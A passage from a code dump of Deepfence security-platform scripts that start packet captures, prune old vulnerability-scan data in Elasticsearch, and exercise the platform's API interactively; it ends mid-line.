requests.post("{0}/packet_capture_config".format(api_url), headers=default_headers, 96 | verify=False, json=post_data) 97 | print(response.text) 98 | except: 99 | print("Error in API while saving packet capture config.") 100 | 101 | print("\nStarting Packet Capture") 102 | post_data = { 103 | "process_list": process_list, "snap_length": 65535, 104 | "capture_percentage": 100, "is_encrypted_capture": is_encrypted_capture, "pcap_mode": pcap_mode 105 | } 106 | for node in nodes_selected: 107 | q.put(node) 108 | num_threads = min(thread_batch_size, len(nodes_selected)) 109 | for i in range(num_threads): 110 | print("Starting thread {i}".format(i=i)) 111 | worker = Thread(target=process_requests_from_queue, args=[q, api_url, post_data, default_headers]) 112 | worker.start() 113 | q.join() 114 | print("Packet capture started") 115 | 116 | 117 | def process_requests_from_queue(q, api_url, post_data, default_headers): 118 | while not q.empty(): 119 | node = q.get() 120 | packet_capture_start_request_with_retry(api_url, node, post_data, default_headers) 121 | q.task_done() 122 | return True 123 | 124 | 125 | def packet_capture_start_request_with_retry(api_url, node, post_data, default_headers): 126 | for i in range(retries): 127 | try: 128 | response = requests.post("{0}/node/{1}/packet_capture_start".format(api_url, node["id"]), 129 | headers=default_headers, verify=False, json=post_data) 130 | print(response.text) 131 | if (response.status_code != 200): 132 | json_response = response.json() 133 | if (json_response['success'] == False and json_response['error'].get('message', 134 | "") != capture_in_progress): 135 | if (i < retries - 1): 136 | print("Error in api call for node {node_name}. Retrying...".format(node_name=node["node_name"])) 137 | time.sleep(seconds_between_retries) 138 | continue 139 | else: 140 | print("Api call for node {node_name} unsuccessful after retries".format( 141 | node_name=node["node_name"])) 142 | except: 143 | if (i < retries - 1): 144 | print("Error in api call for node {node_name}. Retrying...".format(node_name=node["node_name"])) 145 | time.sleep(seconds_between_retries) 146 | continue 147 | else: 148 | print("Api call for node {node_name} unsuccessful after retries".format(node_name=node["node_name"])) 149 | else: 150 | break 151 | 152 | 153 | if __name__ == '__main__': 154 | import sys 155 | 156 | if len(sys.argv) != 5: 157 | print( 158 | "Usage: python3 packet_capture.py ") 159 | exit(1) 160 | if type(sys.argv[3]) != str: 161 | print("The process list must be a comma separated string.") 162 | exit(1) 163 | # argv[3]: "java,fluentd" 164 | process_list = sys.argv[3].split(",") 165 | pcap_mode = sys.argv[4] # should either be 'allow', 'deny' or 'all' 166 | if pcap_mode not in ['allow', 'deny', 'all']: 167 | print("pcap_mode should either be 'allow', 'deny' or 'all'") 168 | exit(1) 169 | start_packet_capture("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2], process_list, pcap_mode) 170 | -------------------------------------------------------------------------------- /scripts/vulnerability_scan/clean_es_vulnerability_scans.py: -------------------------------------------------------------------------------- 1 | # Delete vulnerability scans for nodes 2 | import argparse 3 | import os 4 | from collections import defaultdict 5 | 6 | from elasticsearch import Elasticsearch 7 | 8 | CUSTOMER_UNIQUE_ID = os.getenv('CUSTOMER_UNIQUE_ID', None) 9 | 10 | ES_HOST = "%s://%s:%s" % ( 11 | os.getenv('ELASTICSEARCH_SCHEME', 'http'), 12 | os.environ['ELASTICSEARCH_HOST'], 13 | os.environ['ELASTICSEARCH_PORT'] 14 | ) 15 | 16 | http_auth = None 17 | if 'ELASTICSEARCH_USER' in os.environ: 18 | http_auth = (os.environ['ELASTICSEARCH_USER'], 19 | os.environ['ELASTICSEARCH_PASSWORD']) 20 | 21 | if http_auth: 22 | ES_CLIENT = Elasticsearch([ES_HOST], http_auth=http_auth, timeout=300) 23 | else: 24 | ES_CLIENT = Elasticsearch([ES_HOST], timeout=300) 25 | 26 | 27 | def get_rounding_time_unit(time_unit): 28 | rounding_time_unit = time_unit 29 | 30 | # For Month use Day as the rounding time unit. 31 | if time_unit == 'M' or time_unit == 'all': 32 | rounding_time_unit = 'd' 33 | return rounding_time_unit 34 | 35 | 36 | class ESConn: 37 | @staticmethod 38 | def bulk_delete_query(index_name, body, wait_for_completion=False): 39 | ES_CLIENT.delete_by_query(index=index_name, body=body, 40 | wait_for_completion=wait_for_completion) 41 | 42 | @staticmethod 43 | def aggregation_helper(index_name, filters, aggs, number=None, time_unit=None, 44 | lucene_query_string=None, add_masked_filter=True, get_only_query=False): 45 | should_objects = [] 46 | range_query = None 47 | if number and time_unit and time_unit != 'all': 48 | rounding_time_unit = get_rounding_time_unit(time_unit) 49 | range_query = { 50 | "range": { 51 | "@timestamp": { 52 | "gt": "now-{0}{1}/{2}".format(number, time_unit, rounding_time_unit) 53 | } 54 | } 55 | } 56 | lucene_query = None 57 | if lucene_query_string: 58 | lucene_query = { 59 | "query_string": { 60 | "query": lucene_query_string 61 | } 62 | } 63 | and_terms = [] 64 | if add_masked_filter: 65 | and_terms.append({ 66 | "term": { 67 | "masked.keyword": "false" 68 | } 69 | }) 70 | if not filters: 71 | filters = {} 72 | for key, value in filters.items(): 73 | if type(value) is not list: 74 | value = [value] 75 | if value: 76 | and_terms.append({"terms": {key + ".keyword": value}}) 77 | if range_query: 78 | and_terms.append(range_query) 79 | if lucene_query: 80 | and_terms.append(lucene_query) 81 | should_objects.append({ 82 | "bool": { 83 | "must": and_terms 84 | } 85 | }) 86 | aggs_query = { 87 | "query": { 88 | "constant_score": { 89 | "filter": { 90 | "bool": { 91 | "should": should_objects 92 | } 93 | } 94 | } 95 | }, 96 | "aggs": aggs, 97 | "size": 0 98 | } 99 | if get_only_query: 100 | return aggs_query 101 | else: 102 | return ES_CLIENT.search(index=index_name, body=aggs_query) 103 | 104 | 105 | CVE_INDEX = "cve" 106 | CVE_SCAN_INDEX = "cve-scan" 107 | SBOM_INDEX = "sbom-cve-scan" 108 | SBOM_ARTIFACT_INDEX = "sbom-artifact" 109 | if CUSTOMER_UNIQUE_ID: 110 | CVE_INDEX += f"-{CUSTOMER_UNIQUE_ID}" 111 | CVE_SCAN_INDEX += f"-{CUSTOMER_UNIQUE_ID}" 112 | SBOM_INDEX += f"-{CUSTOMER_UNIQUE_ID}" 113 | SBOM_ARTIFACT_INDEX += f"-{CUSTOMER_UNIQUE_ID}" 114 | 115 | 116 | def get_top_n_scans_per_node(n): 117 | aggs = { 118 | "node_id": { 119 | "terms": { 120 | "field": "node_id.keyword", 121 | "size": "65536" 122 | }, 123 | "aggs": { 124 | "scan_id": { 125 | "top_hits": { 126 | "sort": [ 127 | { 128 | "@timestamp": { 129 | "order": "desc" 130 | } 131 | } 132 | ], 133 | "_source": { 134 | "includes": [ 135 | "scan_id" 136 | ] 137 | }, 138 | "size": n 139 | } 140 | } 141 | } 142 | } 143 | } 144 | resp = ESConn.aggregation_helper( 145 | CVE_SCAN_INDEX, {"action": "COMPLETED"}, aggs) 146 | node_id_map = defaultdict(list) 147 | for image_aggr in resp["aggregations"]["node_id"]["buckets"]: 148 | for scan_id_aggr in image_aggr.get("scan_id", {}).get("hits", {}).get("hits", []): 149 | node_id_map[image_aggr["key"]].append(scan_id_aggr["_source"]["scan_id"]) 150 | return node_id_map 151 | 152 | 153 | def delete_non_latest_scans(node_id_map): 154 | for node_id, scan_ids in node_id_map.items(): 155 | 156 | print("keep node id: {} scan id: {}".format(node_id, scan_ids)) 157 | 158 | body = { 159 | "query": { 160 | "bool": { 161 | "must": [ 162 | {"term": {"cve_container_image.keyword": node_id}} 163 | ], 164 | "must_not": [ 165 | {"terms": {"scan_id.keyword": scan_ids}} 166 | ] 167 | } 168 | } 169 | } 170 | 171 | # delete cve 172 | ESConn.bulk_delete_query(CVE_INDEX, body, 173 | wait_for_completion=True) 174 | 175 | body = { 176 | "query": { 177 | "bool": { 178 | "must": [ 179 | {"term": {"node_id.keyword": node_id}} 180 | ], 181 | "must_not": [ 182 | {"terms": {"scan_id.keyword": scan_ids}} 183 | ] 184 | } 185 | } 186 | } 187 | 188 | # delete sbom artifacts 189 | ESConn.bulk_delete_query(SBOM_ARTIFACT_INDEX, body, 190 | wait_for_completion=True) 191 | # delete sboms 192 | ESConn.bulk_delete_query(SBOM_INDEX, body, 193 | wait_for_completion=True) 194 | # delete vulnerability scans 195 | ESConn.bulk_delete_query(CVE_SCAN_INDEX, body, 196 | wait_for_completion=True) 197 | 198 | 199 | def delete_older_than_days(days): 200 | body = { 201 | "query": { 202 | "range": { 203 | "@timestamp": { 204 | "lte": "now-{}d".format(days) 205 | } 206 | } 207 | } 208 | } 209 | 210 | # delete sbom artifacts 211 | ESConn.bulk_delete_query(CVE_INDEX, body, 212 | wait_for_completion=True) 213 | 214 | # delete sbom artifacts 215 | ESConn.bulk_delete_query(SBOM_ARTIFACT_INDEX, body, 216 | wait_for_completion=True) 217 | # delete sboms 218 | ESConn.bulk_delete_query(SBOM_INDEX, body, 219 | wait_for_completion=True) 220 | # delete vulnerability scans 221 | ESConn.bulk_delete_query(CVE_SCAN_INDEX, body, 222 | wait_for_completion=True) 223 | 224 | 225 | if __name__ == '__main__': 226 | parser = parser = argparse.ArgumentParser() 227 | parser.add_argument('--delete-by-days', default=False, 228 | action='store_true', dest='delete_by_days') 229 | parser.add_argument('--scan-count', default='3', type=str, 230 | action='store', dest='scan_count') 231 | parser.add_argument('--scan-days', default='90', type=str, 232 | action='store', dest='scan_days') 233 | arguments = parser.parse_args() 234 | 235 | print('delete_by_days = {}'.format(arguments.delete_by_days)) 236 | print('scan_count = {}'.format(arguments.scan_count)) 237 | print('scan_days = {}'.format(arguments.scan_days)) 238 | 239 | if not arguments.delete_by_days: 240 | print("deleting all scans keeping {} scans per node".format( 241 | arguments.scan_count)) 242 | top_scans_node_id_map = get_top_n_scans_per_node(arguments.scan_count) 243 | delete_non_latest_scans(top_scans_node_id_map) 244 | else: 245 | print("deleting all vulnerability scans data older than {}days".format( 246 | arguments.scan_days)) 247 | delete_older_than_days(arguments.scan_days) 248 | 249 | -------------------------------------------------------------------------------- /scripts/test_api/test_api.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from sys import argv, maxsize 3 | from time import sleep 4 | import json 5 | import signal 6 | from collections import defaultdict 7 | import urllib.parse as urlparse 8 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 9 | 10 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 11 | 12 | """ 13 | Test Deepfence Runtime API's 14 | 15 | 1. Get access_token using demo api_key 16 | 2. Enumerate all hosts, containers, images, processes, process names 17 | """ 18 | 19 | 20 | def handle_sigint(sig, frame): 21 | print("\n Exiting the test now...") 22 | exit(0) 23 | 24 | 25 | class DeepfenceAPITest(object): 26 | def __init__(self, api_url, api_key): 27 | self.api_url = api_url 28 | self.api_key = api_key 29 | self.node_types = ["Host", "Container", "Process", "Pod"] 30 | self.headers = {"Content-Type": "application/json", "Authorization": ""} 31 | self.test_choices = [ 32 | "List Process, Containers & Hosts", "Alert Management", "Vulnerability Management", 33 | "Operations on Containers", "Capture Network Traffic", "Policy Management", "Websocket Streaming", 34 | "Compliance Check"] 35 | 36 | self.test_choice_methods = ["enumerate", "alert_management", "cve", "node_control", "packet_capture", 37 | "policy_management", "websocket_streaming", "compliance_check", "exit_program"] 38 | 39 | def exit_program(self): 40 | print("\n Exiting the test now...") 41 | exit(0) 42 | 43 | def __print_resp(self, resp, print_all=False): 44 | if print_all: 45 | print(resp) 46 | else: 47 | print("Success:", resp["success"]) 48 | if not resp["success"]: 49 | print(resp) 50 | 51 | def __dump_resp_to_file(self, file_name, resp): 52 | with open("/tmp/" + file_name + ".json", 'w') as file: 53 | if type(resp) == dict: 54 | file.write(json.dumps(resp)) 55 | else: 56 | file.write(str(resp)) 57 | 58 | def __print_resp_data_count(self, resp): 59 | print("Success:", resp["success"]) 60 | if not resp["success"]: 61 | print(resp) 62 | else: 63 | print(len(resp["data"])) 64 | 65 | def __dump_nodes(self, nodes): 66 | new_data = {} 67 | for node in nodes: 68 | new_data[node["id"]] = json.dumps(node, indent=4) 69 | return new_data 70 | 71 | def __enumerate_helper(self, node_types): 72 | resp = requests.post("{0}/enumerate".format(self.api_url), 73 | json={"filters": {"type": node_types, "pseudo": False}, "size": maxsize}, 74 | headers=self.headers, verify=False).json() 75 | if not resp["success"]: 76 | return "Error", False 77 | if "data" not in resp.get("data", {}): 78 | return "No " + ''.join(node_types) + " running", False 79 | return resp["data"]["data"], True 80 | 81 | def __get_cloud_credentials(self): 82 | print("Select Cloud Provider") 83 | cloud_types = ["AWS", "Google Cloud", "Azure"] 84 | user_choice = self.__get_user_input(cloud_types) 85 | cloud_provider = cloud_types[user_choice] 86 | payload = {} 87 | cloud_type = "" 88 | if cloud_provider == "AWS": 89 | cloud_type = "aws" 90 | print("Enter Instance ID, Access ID, Secret Key.(Comma Separated)") 91 | credentials = input("-->").split(",") 92 | payload = {"cloud_provider": cloud_type, "vm_instance_id": credentials[0], 93 | "aws_access_id": credentials[1], "aws_secret_key": credentials[2]} 94 | elif cloud_provider == "Google Cloud": 95 | cloud_type = "gce_cloud_credentials" 96 | # print("Enter Instance ID, Service Account Email, Project ID.(Comma Separated)") 97 | # credentials = input("-->").split(",") 98 | # print("Provide File Path for GCE Key File") 99 | # key_file_path = input("-->").strip() 100 | # filename = os.path.basename(key_file_path) 101 | # key_file_path = "/fenced/mnt/host" + key_file_path 102 | # key_file = open(key_file_path, 'r') 103 | # credentials_key = str(key_file.read()) 104 | # payload = {"cloud_provider": cloud_type, "vm_instance_id": credentials[0], 105 | # "sa_email_address": credentials[1], "project_id": credentials[2], 106 | # "filename": filename, "credentials_key":credentials_key} 107 | elif cloud_provider == "Azure": 108 | cloud_type = "azure" 109 | print( 110 | "Enter Instance ID, Access ID, Tenant ID, Subscription ID, Application Client Key, Application Client Secret.(Comma Separated)") 111 | credentials = input("-->").split(",") 112 | payload = {"cloud_provider": cloud_type, "vm_instance_id": credentials[0], 113 | "azure_tenant_id": credentials[1], "azure_subscription_id": credentials[2], 114 | "azure_key": credentials[3], "azure_password": credentials[4]} 115 | return payload, cloud_type 116 | 117 | def __get_quarantine_policy_params(self): 118 | print( 119 | "Enter Alert Level(Critical,High,Medium,Low), Action(Restart,Stop,Pause), Node Type(Container,Host,Pod), Alert Count.(Comma Separated)") 120 | params = input("-->").split(",") 121 | for i in range(0, len(params)): 122 | params[i] = params[i].lower() 123 | payload = {"alert_level": params[0], "action": params[1], "node_type": params[2], 124 | "alert_count_threshold": params[3]} 125 | return payload 126 | 127 | def __get_network_policy_params(self): 128 | print( 129 | "Enter Alert Level(Critical,High,Medium,Low), Block Duration(seconds. Input 0 for permanent blocking), Alert Monitoring Duration(seconds),Alert Count.(Comma Separated)") 130 | params = input("-->").split(",") 131 | for i in range(0, len(params)): 132 | params[i] = params[i].lower() 133 | payload = {"alert_level": params[0], "action": "block", "node_type": "host", "block_duration": params[1], 134 | "alert_from_time": params[2], "alert_count_threshold": params[3]} 135 | return payload 136 | 137 | def __get_node_network_policy_params(self, node_id, node_policy_type): 138 | print( 139 | "Block Duration(seconds. Input 0 for permanent blocking), Packet Direction(Inbound,Outbound)") 140 | params = input("-->").split(",") 141 | print("Enter IP Address List(2.2.2.2,55.65.76.87)") 142 | ip_address_list = input("-->").split(",") 143 | print("Enter Port List (8080,9000)") 144 | port_list = input("-->").split(",") 145 | for i in range(0, len(params)): 146 | params[i] = params[i].lower() 147 | 148 | payload = {"action": "block", "node_id": node_id, "block_duration": params[0], 149 | "node_policy_type": node_policy_type, "packet_direction": params[1], 150 | "ip_address_list": ip_address_list, "port_list": port_list} 151 | return payload 152 | 153 | def enumerate(self): 154 | user_choice = self.__get_user_input(self.node_types) 155 | data, success = self.__enumerate_helper([self.node_types[user_choice].lower()]) 156 | if not success: 157 | print(data) 158 | return 159 | self.__list_print_helper(list(self.__dump_nodes(data).values()), add_new_line=True) 160 | 161 | def websocket_streaming(self): 162 | print("Run following command:\n") 163 | url_parsed = urlparse.urlparse(self.api_url) 164 | print( 165 | "docker run --rm -it --name=deepfence_test_api deepfenceio/deepfence_test_api go run /app/websocket_streaming.go -api_url \"{0}\" -api_key \"{1}\" -node_type \"host\"".format( 166 | url_parsed.netloc, self.api_key)) 167 | 168 | def node_control(self): 169 | ''' 170 | container_action_values = ["Stop", "Pause", "Un-Pause", "Start"] 171 | ''' 172 | container_action_values = ["Pause", "Un-Pause"] 173 | data, success = self.__enumerate_helper(["container"]) 174 | if not success: 175 | print(data) 176 | return 177 | data = self.__dump_nodes(data) 178 | data_keys = list(data.keys()) 179 | tmp_data_values = list(data.values()) 180 | container_data_values = [] 181 | container_data_state = [] 182 | for i in range(0, len(tmp_data_values)): 183 | json_val = json.loads(tmp_data_values[i]) 184 | for key, value in json_val.items(): 185 | if (key.lower() == "container_name"): 186 | container_data_values.append(value) 187 | if (key.lower() == "docker_container_state_human"): 188 | if "Paused" in value: 189 | container_data_state.append("Paused") 190 | else: 191 | container_data_state.append("Running") 192 | if (len(container_data_values) == 0): 193 | print("\nNo containers available for actions on it") 194 | return 195 | container_prompt = [] 196 | for container_data_value in container_data_values: 197 | container_prompt.append(container_data_value + " (" + container_data_value + ")") 198 | print("\nChoose a container to perform actions on it") 199 | container_idx = self.__get_user_input(container_prompt) 200 | print("\nChoose an action to be performed on this container") 201 | action_idx = self.__get_user_input(container_action_values) 202 | container_id = data_keys[container_idx] 203 | if (container_action_values[action_idx] == "Stop"): 204 | print("Now stopping the container. Please wait.....") 205 | resp = requests.post("{0}/node/{1}/stop".format(self.api_url, container_id), json={}, headers=self.headers, 206 | verify=False).json() 207 | sleep(5) 208 | self.__print_resp(resp) 209 | # self.__dump_resp_to_file("stop_container_" + container_data_values[container_idx], resp) 210 | elif (container_action_values[action_idx] == "Pause"): 211 | print("Now pausing the container. Please wait.....") 212 | resp = requests.post("{0}/node/{1}/pause".format(self.api_url, container_id), json={}, headers=self.headers, 213 | verify=False).json() 214 | sleep(5) 215 | self.__print_resp(resp) 216 | # Storing response in file not required 217 | # self.__dump_resp_to_file("pause_container_" + container_data_values[container_idx], resp) 218 | elif (container_action_values[action_idx] == "Un-Pause"): 219 | print("Now doing un-pause on the the container. Please wait....") 220 | resp = requests.post("{0}/node/{1}/unpause".format(self.api_url, container_id), json={}, 221 | headers=self.headers, verify=False).json() 222 | sleep(5) 223 | self.__print_resp(resp) 224 | # Storing response in file not required 225 | # self.__dump_resp_to_file("un-pause_container_" + container_data_values[container_idx], resp) 226 | elif (container_action_values[action_idx] == "Start"): 227 | resp = requests.post("{0}/node/{1}/start".format(self.api_url, container_id), json={}, headers=self.headers, 228 | verify=False).json() 229 | sleep(5) 230 | self.__print_resp(resp) 231 | # Storing response in file not required 232 | # self.__dump_resp_to_file("start_container_" + container_data_values[container_idx], resp) 233 | 234 | def cve(self): 235 | node_action_values = ["Start-CVE", "Stop-CVE", "List Detected Vulnerabilities"] 236 | data, success = self.__enumerate_helper(["container", "host"]) 237 | if not success: 238 | print(data) 239 | return 240 | data = self.__dump_nodes(data) 241 | data_keys = list(data.keys()) 242 | tmp_data_values = list(data.values()) 243 | node_data_values = [] 244 | node_data_state = [] 245 | image_name_list = [] 246 | for i in range(0, len(tmp_data_values)): 247 | json_val = json.loads(tmp_data_values[i]) 248 | node_name = json_val["host_name"] 249 | image_name = json_val.get("image_name") 250 | image_tag = json_val.get("image_tag") 251 | if image_name and image_tag: 252 | image_name_list.append(image_name + ":" + image_tag) 253 | else: 254 | image_name_list.append(node_name) 255 | container_name = json_val.get("container_name", "") 256 | if container_name: 257 | node_name = container_name + " ( HOST : " + node_name + " )" 258 | node_data_values.append(node_name) 259 | for i in range(0, len(data_keys)): 260 | resp = requests.get("{0}/node/{1}/cve_scan_status".format(self.api_url, data_keys[i]), 261 | headers=self.headers, verify=False).json() 262 | status = resp["data"]["action"] 263 | if resp["data"].get("cve_scan_message", ""): 264 | status += ": " + str(resp["data"]["cve_scan_message"]) 265 | node_data_state.append(status) 266 | if (len(node_data_values) == 0): 267 | print("\nNo nodes available for actions on it") 268 | return 269 | node_prompt = [] 270 | for i in range(0, len(node_data_values)): 271 | node_prompt.append(node_data_values[i] + " ( STATUS : " + node_data_state[i] + " )") 272 | print("\nChoose a node to perform actions on it") 273 | node_idx = self.__get_user_input(node_prompt) 274 | print("\nChoose an action to be performed on this node") 275 | action_idx = self.__get_user_input(node_action_values) 276 | node_id = data_keys[node_idx] 277 | node_name = node_data_values[node_idx] 278 | if (node_action_values[action_idx] == "Start-CVE"): 279 | print("Now starting CVE. Please wait.....") 280 | resp = requests.post("{0}/node/{1}/cve_scan_start".format(self.api_url, node_id), json={}, 281 | headers=self.headers, verify=False).json() 282 | sleep(10) 283 | self.__print_resp(resp) 284 | # Storing response in file not required 285 | # self.__dump_resp_to_file("start_cve_" + node_data_values[action_idx], resp) 286 | elif (node_action_values[action_idx] == "Stop-CVE"): 287 | print("Now stopping CVE. Please wait.....") 288 | 289 | resp = requests.post("{0}/node/{1}/cve_scan_stop".format(self.api_url, node_id), json={}, 290 | headers=self.headers, verify=False).json() 291 | sleep(10) 292 | self.__print_resp(resp) 293 | # Storing response in file not required 294 | # self.__dump_resp_to_file("stop_cve_" + node_data_values[action_idx], resp) 295 | elif (node_action_values[action_idx] == "List Detected Vulnerabilities"): 296 | print("Retrieving detected vulnerabilities. Please wait...") 297 | image_name = image_name_list[node_idx] 298 | resp = requests.post("{0}/vulnerability".format(self.api_url), 299 | json={"filters": {"cve_container_image": [image_name]}}, 300 | headers=self.headers, verify=False).json() 301 | if resp["data"]: 302 | print(json.dumps(resp["data"], indent=4)) 303 | else: 304 | print("No Vulnerabilities found") 305 | 306 | def packet_capture(self): 307 | data, success = self.__enumerate_helper(["host"]) 308 | if not success: 309 | print(data) 310 | return 311 | data = self.__dump_nodes(data) 312 | data_keys = list(data.keys()) 313 | tmp_data_values = list(data.values()) 314 | data_values = [] 315 | for i in range(0, len(tmp_data_values)): 316 | json_val = json.loads(tmp_data_values[i]) 317 | for key, value in json_val.items(): 318 | if (key.lower() == "host_name"): 319 | data_values.append(value) 320 | print("Enter host number") 321 | user_choice = self.__get_user_input(data_values) 322 | node_id = data_keys[user_choice] 323 | pkt_cpt_keys = ["Start Packet Capture", "Stop Packet Capture", "Packet Capture Status"] 324 | pkt_cpt_vals = ["packet_capture_start", "packet_capture_stop", "packet_capture_status"] 325 | user_choice = self.__get_user_input(pkt_cpt_keys) 326 | action = pkt_cpt_vals[user_choice] 327 | if action == "packet_capture_status": 328 | print("Getting packet capture status. Please wait......") 329 | resp = requests.get("{0}/node/{1}/{2}".format(self.api_url, node_id, action), 330 | headers=self.headers, verify=False).json() 331 | else: 332 | print("Initiating " + pkt_cpt_keys[user_choice] + ". Please wait.....") 333 | resp = requests.post("{0}/node/{1}/{2}".format(self.api_url, node_id, action), json={}, 334 | headers=self.headers, verify=False).json() 335 | print(json.dumps(resp, indent=4)) 336 | 337 | def alert_management(self): 338 | print("\nAlerts by host/container\n") 339 | host_alerts = defaultdict(dict) 340 | resp = requests.post("{0}/alerts".format(self.api_url), 341 | json={"filters": {}, "action": "get", "start_index": 0, "size": 10000}, 342 | headers=self.headers, verify=False).json() 343 | if resp["data"]: 344 | for alert in resp["data"]: 345 | c_host_name = alert["host_name"] + "/" + alert["container_name"] 346 | if alert["severity"] in host_alerts[c_host_name]: 347 | host_alerts[c_host_name][alert["severity"]] += 1 348 | else: 349 | host_alerts[c_host_name][alert["severity"]] = 1 350 | print(json.dumps(dict(host_alerts), indent=4)) 351 | print("\nSample alert\n") 352 | print(json.dumps(resp["data"][0], indent=4)) 353 | else: 354 | print("No alerts") 355 | 356 | def policy_management(self): 357 | quar_policy = "Quarantine Protection Policy" 358 | net_policy = "Network Protection Policy" 359 | node_blacklist_policy = "Node Blacklist Policy" 360 | node_whitelist_policy = "Node Whitelist Policy" 361 | cloud_credentials_api = "Cloud Credentials" 362 | policy_type_choices = [quar_policy, net_policy, node_blacklist_policy, node_whitelist_policy, 363 | cloud_credentials_api] 364 | policy_type_api_path = ["quarantine_protection_policy", "network_protection_policy", 365 | "blacklist_node_network_protection_policy", "whitelist_node_network_protection_policy", 366 | "cloud_credentials"] 367 | user_policy_type_choice = self.__get_user_input(policy_type_choices) 368 | policy_type = policy_type_api_path[user_policy_type_choice] 369 | policy_choices = ["Add", "List", "Delete", "List Policy Logs", "Delete Policy Logs"] 370 | if policy_type.startswith("blacklist_") or policy_type.startswith("whitelist_") or policy_type.startswith( 371 | "cloud_"): 372 | policy_choices = policy_choices[:3] 373 | user_policy_choice = policy_choices[self.__get_user_input(policy_choices)] 374 | node_policy_type = "" 375 | api_url = "{0}/users/{1}".format(self.api_url, policy_type) 376 | if policy_type.startswith("blacklist_"): 377 | node_policy_type = "blacklist" 378 | api_url = "{0}/users/{1}?node_policy_type=blacklist".format(self.api_url, 379 | policy_type.replace("blacklist_", "")) 380 | elif policy_type.startswith("whitelist_"): 381 | node_policy_type = "whitelist" 382 | api_url = "{0}/users/{1}?node_policy_type=whitelist".format(self.api_url, 383 | policy_type.replace("whitelist_", "")) 384 | policy_type = policy_type.replace("blacklist_", "").replace("whitelist_", "") 385 | no_data_msg = "No policies found" 386 | if policy_type.startswith("cloud_"): 387 | no_data_msg = "No credentials found" 388 | if user_policy_choice == "Add": 389 | user_choice_host = 0 390 | hosts_data = [] 391 | node_ids = [] 392 | if node_policy_type: 393 | hosts, success = self.__enumerate_helper(["host", "container", "kube_service"]) 394 | for i in hosts: 395 | if i["type"] == "host": 396 | hosts_data.append(i.get("host_name", "") + " (" + i["type"] + ")") 397 | elif i["type"] == "container": 398 | hosts_data.append( 399 | i.get("host_name", "") + " / " + i.get("container_name", "") + " (" + i["type"] + ")") 400 | elif i["type"] == "kube_service": 401 | hosts_data.append(i.get("name", "") + " (" + i["type"] + ")") 402 | node_ids.append(i["id"]) 403 | print("On which host to add the policy?") 404 | user_choice_host = self.__get_user_input(hosts_data) 405 | # Add policy 406 | if policy_type == "quarantine_protection_policy": 407 | payload = self.__get_quarantine_policy_params() 408 | elif policy_type == "network_protection_policy": 409 | payload = self.__get_network_policy_params() 410 | elif node_policy_type == "blacklist" or node_policy_type == "whitelist": 411 | node_id = node_ids[user_choice_host] 412 | payload = self.__get_node_network_policy_params(node_id, node_policy_type) 413 | elif policy_type == "cloud_credentials": 414 | payload, cloud_provider = self.__get_cloud_credentials() 415 | if cloud_provider == "gce_cloud_credentials": 416 | print("Google Cloud Engine is not supported in this test program.") 417 | return 418 | api_url += "/" + cloud_provider 419 | else: 420 | return 421 | resp = requests.post(api_url, headers=self.headers, verify=False, json=payload).json() 422 | print(json.dumps(resp, indent=4)) 423 | elif user_policy_choice == "List": 424 | # List policies 425 | resp = requests.get(api_url, headers=self.headers, verify=False).json() 426 | if not resp["data"]: 427 | print(no_data_msg) 428 | else: 429 | resp = resp["data"][policy_type.replace("policy", "policies")] 430 | if not resp: 431 | print(no_data_msg) 432 | self.__list_print_helper(resp) 433 | elif user_policy_choice == "Delete": 434 | # Delete policy 435 | print("Enter serial number to delete") 436 | resp = requests.get(api_url, headers=self.headers, verify=False).json() 437 | if not resp["data"]: 438 | print(no_data_msg) 439 | return 440 | else: 441 | resp = resp["data"][policy_type.replace("policy", "policies")] 442 | if not resp: 443 | print(no_data_msg) 444 | return 445 | user_policy_del = self.__get_user_input(resp) 446 | policy_id = resp[user_policy_del]["id"] 447 | if policy_type.startswith("cloud_"): 448 | cloud_provider = resp[user_policy_del]["cloud_provider"] 449 | policy_id = cloud_provider + '/' + str(policy_id) 450 | requests.delete("{0}/users/{1}/{2}".format(self.api_url, policy_type, policy_id), 451 | headers=self.headers, verify=False) 452 | print("Successfully deleted") 453 | elif user_policy_choice == "List Policy Logs": 454 | # List policy log 455 | payload = {"size": 20, "start_index": 0, "action": "get"} 456 | resp = requests.post("{0}/users/{1}".format(self.api_url, policy_type + "_log"), headers=self.headers, 457 | verify=False, json=payload).json()["data"] 458 | if not resp: 459 | print("No policy logs found") 460 | return 461 | self.__list_print_helper(resp) 462 | elif user_policy_choice == "Delete Policy Logs": 463 | # Delete policy logs 464 | print("Enter serial number to delete") 465 | payload = {"size": 20, "start_index": 0, "action": "get"} 466 | resp = requests.post("{0}/users/{1}".format(self.api_url, policy_type + "_log"), headers=self.headers, 467 | verify=False, json=payload).json()["data"] 468 | if not resp: 469 | print("No policy logs found") 470 | return 471 | user_policy_log_del = self.__get_user_input(resp) 472 | policy_log_id = resp[user_policy_log_del]["policy_log_id"] 473 | requests.delete("{0}/users/{1}/{2}".format(self.api_url, policy_type + "_log", policy_log_id), 474 | headers=self.headers, verify=False) 475 | print("Successfully deleted") 476 | 477 | def compliance_check(self): 478 | print("\nChoose whether Host or Container") 479 | node_types = ["Host", "Container"] 480 | node_choice = self.__get_user_input(node_types) 481 | 482 | if (node_types[node_choice] == "Host"): 483 | self.compliance_check_by_node_type("host") 484 | elif (node_types[node_choice] == "Container"): 485 | # TODO: to be implemented 486 | self.compliance_check_by_node_type("container") 487 | 488 | def compliance_check_by_node_type(self, node_type): 489 | data, success = self.__enumerate_helper([node_type]) 490 | if not success: 491 | print(data) 492 | return 493 | data = self.__dump_nodes(data) 494 | data_keys = list(data.keys()) 495 | data_values = list(data.values()) 496 | host_names = [] 497 | for values in data_values: 498 | dict_values = json.loads(values) 499 | for key, val in dict_values.items(): 500 | if node_type == "host": 501 | if key.lower() == "host_name": 502 | host_names.append(val) 503 | elif node_type == "container": 504 | if key.lower() == "container_name": 505 | host_names.append(val) 506 | if node_type == "host": 507 | print("\nEnter host number") 508 | elif node_type == "container": 509 | print("\nEnter container number") 510 | user_choice = self.__get_user_input(host_names) 511 | node_id = data_keys[user_choice] 512 | resp = requests.get("{0}/node/{1}/applicable_compliance_scans".format(self.api_url, node_id), 513 | headers=self.headers, verify=False).json() 514 | if not resp.get("data"): 515 | print("\nNo compliance scans available for this node") 516 | return 517 | print("\nChoose any of the available compliance types") 518 | list_compliances = json.loads(json.dumps(resp["data"]["complianceScanLists"], indent=4)) 519 | compliance_labels = 